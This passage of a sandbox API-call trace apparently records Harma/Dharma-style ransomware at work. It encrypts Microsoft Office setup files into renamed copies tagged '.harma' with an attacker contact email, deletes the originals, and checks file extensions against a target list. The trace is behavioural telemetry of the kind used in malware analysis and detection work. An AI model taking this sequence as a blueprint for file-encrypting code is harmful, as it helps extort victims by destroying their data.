lpNumberOfBytesRead=0x2c8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0049.638] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0049.640] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.641] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.641] SetEndOfFile (hFile=0x1dc) returned 1 [0049.641] CloseHandle (hObject=0x1dc) returned 1 [0049.642] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.642] SetEndOfFile (hFile=0x15c) returned 1 [0049.643] CloseHandle (hObject=0x15c) returned 1 [0049.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.643] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0049.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.645] lstrlenW (lpString=".doc") returned 4 [0049.645] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.645] lstrlenW (lpString=".docx") returned 5 [0049.645] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.645] lstrlenW (lpString=".pdf") returned 4 [0049.645] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.645] lstrlenW (lpString=".xls") returned 4 [0049.645] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.645] lstrlenW (lpString=".xlsx") returned 5 [0049.645] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.645] lstrlenW (lpString=".ppt") returned 4 [0049.645] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.645] lstrlenW (lpString=".zip") returned 4 [0049.646] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.646] lstrlenW (lpString=".rar") returned 4 [0049.646] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString=".bz2") returned 4 [0049.646] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString=".7z") returned 3 [0049.646] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.646] lstrlenW (lpString=".dbf") returned 4 [0049.646] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.646] lstrlenW (lpString=".1cd") returned 4 [0049.646] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.646] lstrlenW (lpString=".jpg") returned 4 [0049.646] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.646] lstrlenW (lpString=".doc") returned 4 [0049.646] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString=".docx") returned 5 [0049.646] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.646] lstrlenW (lpString=".pdf") returned 4 [0049.646] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.646] lstrlenW (lpString=".xls") returned 4 [0049.647] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.647] lstrlenW (lpString=".xlsx") returned 5 [0049.647] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.647] lstrlenW (lpString=".ppt") returned 4 [0049.647] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.647] lstrlenW (lpString=".zip") returned 4 [0049.647] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.647] lstrlenW (lpString=".rar") returned 4 [0049.647] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.647] lstrlenW (lpString=".bz2") returned 4 [0049.647] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.647] lstrlenW (lpString=".7z") returned 3 [0049.647] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.647] lstrlenW (lpString=".dbf") returned 4 [0049.647] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.647] lstrlenW (lpString=".1cd") returned 4 [0049.647] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0049.647] lstrlenW (lpString=".jpg") returned 4 [0049.647] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.648] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0049.648] lstrlenW (lpString="OCT.CHM") returned 7 [0049.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.648] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=71236) returned 1 [0049.648] CloseHandle (hObject=0x15c) returned 1 [0049.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0049.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.649] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.649] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.649] GetLastError () returned 0x0 [0049.649] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x11644, lpOverlapped=0x0) returned 1 [0049.653] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0049.655] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.656] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0049.656] SetEndOfFile (hFile=0x1dc) returned 1 [0049.656] CloseHandle (hObject=0x1dc) returned 1 [0049.658] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.658] SetEndOfFile (hFile=0x15c) returned 1 [0049.660] CloseHandle (hObject=0x15c) returned 1 [0049.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0049.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.660] lstrlenW (lpString=".doc") returned 4 [0049.660] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0049.660] lstrlenW (lpString=".docx") returned 5 [0049.661] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0049.661] lstrlenW (lpString=".pdf") returned 4 [0049.661] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0049.661] lstrlenW (lpString=".xls") returned 4 [0049.661] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0049.661] lstrlenW (lpString=".xlsx") returned 5 [0049.661] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0049.661] lstrlenW (lpString=".ppt") returned 4 [0049.661] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.661] lstrlenW (lpString=".zip") returned 4 [0049.661] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0049.661] lstrlenW (lpString=".rar") returned 4 [0049.661] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0049.661] lstrlenW (lpString=".bz2") returned 4 [0049.661] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0049.661] lstrlenW (lpString=".7z") returned 3 [0049.661] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.661] lstrlenW (lpString=".dbf") returned 4 [0049.661] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.661] lstrlenW (lpString=".1cd") returned 4 [0049.661] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0049.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.661] lstrlenW (lpString=".jpg") returned 4 [0049.661] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.662] lstrlenW (lpString=".doc") returned 4 [0049.662] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString=".docx") returned 5 [0049.662] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0049.662] lstrlenW (lpString=".pdf") returned 4 [0049.662] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString=".xls") returned 4 [0049.662] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString=".xlsx") returned 5 [0049.662] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0049.662] lstrlenW (lpString=".ppt") returned 4 [0049.662] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.662] lstrlenW (lpString=".zip") returned 4 [0049.662] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString=".rar") returned 4 [0049.662] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString=".bz2") returned 4 [0049.662] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0049.662] lstrlenW (lpString=".7z") returned 3 [0049.662] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.662] lstrlenW (lpString=".dbf") returned 4 [0049.662] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0049.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.663] lstrlenW (lpString=".1cd") returned 4 [0049.663] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0049.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0049.663] lstrlenW (lpString=".jpg") returned 4 [0049.663] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0049.663] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.663] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0049.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.664] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=5557) returned 1 [0049.664] CloseHandle (hObject=0x15c) returned 1 [0049.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0049.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.664] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.665] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.665] GetLastError () returned 0x0 [0049.665] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0049.667] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0049.668] ReadFile (in: hFile=0x15c, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.668] WriteFile (in: hFile=0x1dc, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0049.669] SetEndOfFile (hFile=0x1dc) returned 1 [0049.669] CloseHandle (hObject=0x1dc) returned 1 [0049.670] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.670] SetEndOfFile (hFile=0x15c) returned 1 [0049.671] CloseHandle (hObject=0x15c) returned 1 [0049.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.671] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0049.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.672] lstrlenW (lpString=".doc") returned 4 [0049.672] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.672] lstrlenW (lpString=".docx") returned 5 [0049.672] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.672] lstrlenW (lpString=".pdf") returned 4 [0049.672] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.672] lstrlenW (lpString=".xls") returned 4 [0049.672] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.672] lstrlenW (lpString=".xlsx") returned 5 [0049.672] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.672] lstrlenW (lpString=".ppt") returned 4 [0049.672] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.672] lstrlenW (lpString=".zip") returned 4 [0049.672] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.672] lstrlenW (lpString=".rar") returned 4 [0049.672] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.672] lstrlenW (lpString=".bz2") returned 4 [0049.672] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString=".7z") returned 3 [0049.673] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.673] lstrlenW (lpString=".dbf") returned 4 [0049.673] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.673] lstrlenW (lpString=".1cd") returned 4 [0049.673] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.673] lstrlenW (lpString=".jpg") returned 4 [0049.673] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.673] lstrlenW (lpString=".doc") returned 4 [0049.673] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString=".docx") returned 5 [0049.673] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.673] lstrlenW (lpString=".pdf") returned 4 [0049.673] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString=".xls") returned 4 [0049.673] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString=".xlsx") returned 5 [0049.673] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.673] lstrlenW (lpString=".ppt") returned 4 [0049.673] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.673] lstrlenW (lpString=".zip") returned 4 [0049.673] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.673] lstrlenW (lpString=".rar") returned 4 [0049.674] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.674] lstrlenW (lpString=".bz2") returned 4 [0049.674] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.674] lstrlenW (lpString=".7z") returned 3 [0049.674] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.674] lstrlenW (lpString=".dbf") returned 4 [0049.674] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.674] lstrlenW (lpString=".1cd") returned 4 [0049.674] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0049.674] lstrlenW (lpString=".jpg") returned 4 [0049.674] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.674] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0049.674] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0049.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.674] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=819) returned 1 [0049.675] CloseHandle (hObject=0x15c) returned 1 [0049.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0049.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: 